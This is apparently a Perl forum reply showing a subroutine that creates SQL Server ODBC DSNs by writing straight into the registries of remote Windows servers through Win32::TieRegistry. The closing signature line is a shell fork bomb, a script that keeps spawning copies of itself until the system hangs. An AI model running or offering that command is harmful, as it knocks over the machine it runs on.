Hi Michael,

Update: I forgot to mention -- this requires you to

use Win32::TieRegistry

I actually haven't tried Win32::ODBC yet; thanks for mentioning it! I'll have to look at it.

I've been creating and editing DSNs by directly manipulating the registry. While this is a bit of a hack, it works ok for my means. Here's some code for you, which works with MS SQLServer:

## create_dsn($dsn, $pointer, @servers)
## Creates a DSN named $dsn pointing to $pointer on servers named @ser
+vers
sub create_dsn {
    my $dsn = shift(@_);
    my $pointer = shift(@_);
    my @servers = @_;
    
    foreach my $server (@servers) {
        my $ref = $Registry->{"//$server/LMachine/Software/ODBC/ODBC.I
+NI/"};

        if (not exists $ref->{"$dsn/server"}) {
        
            print "$server: Creating DSN $dsn, setting to $pointer... 
+";
            
            $ref->{"$dsn/"} = {
                'Description' => "",
                'Server' => "$pointer",
                'Database' => "$dsn",
                'Driver' => "C:\\WINNT\\System32\\SQLSRV32.dll",
                'OEMTOANSI' => "YES",
                'UseProcForPrepare' => "YES",
                'TrustedConnection' => "",
            };
            
            print " done\n";
            
            print "$server: Updating ODBC Data Sources list... ";
            
            $ref->{"ODBC Data Sources/$dsn"} = "SQL Server";
            
            print " done\n";
                
        } else {
        
            print "$server: DSN $dsn already exists!\n";
        }
                
    }
    print "\n\tRemember to edit the new DSNs with username and passwor
+d!\n";
}

Cheers,

P.S: I should note that this doesn't work with NT Server 4.0, just Win2k and beyond.

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
